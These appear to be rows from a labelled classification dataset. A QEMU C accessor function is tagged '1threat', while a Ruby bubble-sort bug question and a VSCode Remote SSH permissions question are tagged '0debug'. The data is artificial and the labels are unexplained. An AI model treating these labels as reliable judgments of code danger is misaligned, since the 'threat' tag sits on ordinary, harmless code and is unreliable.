const char *qdev_fw_name(DeviceState *dev)
{
DeviceClass *dc = DEVICE_GET_CLASS(dev);
if (dc->fw_name) {
return dc->fw_name;
} else if (dc->alias) {
return dc->alias;
}
return object_get_typename(OBJECT(dev));
}
| 1threat |
Sorting array with bubble sort : array = [4,3,2,1]
sorted = false
unless sorted == true
swapped = false
array.each_with_index do |x,i|
if i <= array.length - 2
if array[i] > array[i+1]
array[i] , array[i+1] = array[i+1],array[i]
swapped = true
end
end
if swapped == false
sorted = true
end
end
end
print array
Hi, I am trying to sort the array in a bubble_sort style. I am unable to sort the element in ascending order. | 0debug |
How to save a file in vscode-remote SSH with a non-root user privileges : <p>I am not able to save any files on my remote server with VSCode Remote SSH because I am not a root user.</p>
<p>I've followed the <a href="https://code.visualstudio.com/docs/remote/ssh" rel="noreferrer">official documentation</a> about how to set up ssh with SSH config file but even if my user as sudo privileges, I can't find any options in VSCode to save with sudo.</p>
<p>here is my SSH config file <code>/Users/geoff/.ssh/config</code>:</p>
<pre><code>Host gcpmain
User geoff
HostName <IP_ADDRESS>
IdentityFile ~/.ssh/gc_rsa
</code></pre>
<p>Obviously, when I try to save any files that require sudo I have this expected error message:</p>
<pre><code>Failed to save 'default': Unable to write file (NoPermissions
(FileSystemError): Error: EACCES: permission denied, open
'/etc/nginx/sites-available/default')
</code></pre>
<p>Is there any way that I can force VSCode to save as sudo?
Thanks a lot for your answers! :)</p>
| 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.